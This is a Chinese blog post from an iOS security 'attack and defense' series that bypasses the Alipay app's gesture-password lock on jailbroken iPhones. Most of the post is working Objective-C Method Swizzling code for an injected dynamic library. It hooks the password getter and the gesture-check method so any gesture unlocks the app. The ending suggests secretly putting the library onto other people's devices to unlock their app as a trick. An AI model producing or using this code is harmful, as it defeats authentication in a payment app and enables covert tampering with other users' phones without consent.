原文地址:http://blog.youkuaiyun.com/yiyaaixuexi/article/details/18817667
在 iOS安全攻防(十一):Hack实战——探究支付宝app手势密码 中,介绍了如何利用gdb分析app,确定了支付宝app的手势密码格式为字符串,9个点分别对应123456789。在 iOS安全攻防(十二):iOS7的动态库注入 中,介绍了如果利用越狱大神们为我们开辟的iOS7动态库注入方法。
本文将继续深入hack实战,hook支付宝手势密码校验操作,欺骗其通过任意手势输入。
那么到现在为止,我们已经掌握了什么信息呢?
1)一个名叫 GestureUnlockViewController 的类,含有 gestureInputView:didFinishWithPassword: 方法,来处理输入的手势
2)正确的手势密码通过一个名叫 GestureUtil 的类读取,方法是 getPassword
思路马上清晰了,我们需要做2步:
1)hook getPassword 存下正确的密码
2)hook gestureInputView:didFinishWithPassword: 替换当前输入为正确的密码
一个关键点,我们是用 Method Swizzling来hook,那么就意味操作不能过早,因为我们要保证在取到 GestureUnlockViewController 和 GestureUtil class后,才能进行imp替换。
所以, 我采用NSNotificationCenter通知机制协助完成任务。
- #import <objc/runtime.h>
- #import <UIKit/UIKit.h>
- IMP ori_getPasswd_IMP = NULL;
- IMP ori_gesture_IMP = NULL;
- @interface NSObject (HackPortal)
- @end
- @implementation NSObject (HackPortal)
- + (id)getPassword
- {
- NSString *passwd = ori_getPasswd_IMP(self, @selector(getPassword));
- return passwd;
- }
- - (void)gestureInputView:(id)view didFinishWithPassword:(id)password
- {
- password = ori_getPasswd_IMP(self, @selector(getPassword));
- ori_gesture_IMP(self, @selector(gestureInputView:didFinishWithPassword:), view, password);
- }
- @end
- @implementation PortalListener
- - (id)init
- {
- self = [super init];
- if (self) {
- [[NSNotificationCenter defaultCenter]addObserver:self
- selector:@selector(appLaunched:)
- name:UIApplicationDidBecomeActiveNotification
- object:nil];
- }
- return self;
- }
- - (void)appLaunched:(NSNotification *)notification
- {
- Class class_GestureUtil = NSClassFromString(@"GestureUtil");
- Class class_PortalListener = NSClassFromString(@"PortalListener");
- Method ori_Method = class_getClassMethod(class_GestureUtil, @selector(getPassword));
- ori_getPasswd_IMP = method_getImplementation(ori_Method);
- Method my_Method = class_getClassMethod(class_PortalListener, @selector(getPassword));
- method_exchangeImplementations(ori_Method, my_Method);
- Class class_Gesture = NSClassFromString(@"GestureUnlockViewController");
- Method ori_Method1 = class_getInstanceMethod(class_Gesture,
- @selector(gestureInputView:didFinishWithPassword:));
- ori_gesture_IMP = method_getImplementation(ori_Method1);
- Method my_Method1 = class_getInstanceMethod(class_PortalListener,
- @selector(gestureInputView:didFinishWithPassword:));
- method_exchangeImplementations(ori_Method1, my_Method1);
- }
- -(void)dealloc
- {
- [[NSNotificationCenter defaultCenter]removeObserver:self];
- }
- @end
- static void __attribute__((constructor)) initialize(void)
- {
- static PortalListener *entrance;
- entrance = [[PortalListener alloc]init];
- }
OK!编译好动态库,塞进iPhone试试效果吧~
不管我们输入什么手势,都会被替换为正确的密码去给gestureInputView:didFinishWithPassword:验证,然后顺利解锁。
这意味着什么呢?
意味着,我们可以通过正规的渠道让用户下载这个动态库,然后悄悄放进越狱的iPhone的/Library/MobileSubstrate/DynamicLibraries/目录下……然后……然后去给妹纸帅锅变魔术吧:“你看,我和你多心有灵犀,你改什么密码我都猜的到!”